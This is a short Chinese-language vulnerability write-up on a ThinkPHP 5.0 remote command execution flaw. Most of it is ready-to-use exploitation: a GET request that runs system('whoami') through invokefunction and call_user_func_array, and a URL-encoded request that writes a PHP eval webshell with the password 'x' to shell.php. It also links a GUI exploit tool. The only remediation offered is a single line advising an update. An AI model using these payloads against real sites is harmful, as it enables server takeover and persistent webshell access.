01 漏洞描述
Thinkphp是一个国内轻量级的开发框架。由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
02 影响范围
5.0
03 验证方式
GET方式尝试命令执行,具体请求如下:
http://127.0.0.1:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
04 利用方式
一、手工利用上传一句话木马
1、URL编码一句话木马内容;
2、上传一句话木马;
webshell地址:http://127.0.0.1/shell.php
password:x
http://127.0.0.1:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22x%22%5D%29%3F%3E%27%20%3Eshell.php%20
3、使用Webshell连接工具连接一句话木马;
二、工具利用直接命令执行
利用工具ThinkphpGUI:https://github.com/Lotus6/ThinkphpGUI
05 修复方案
建议进行Thinkphp版本更新。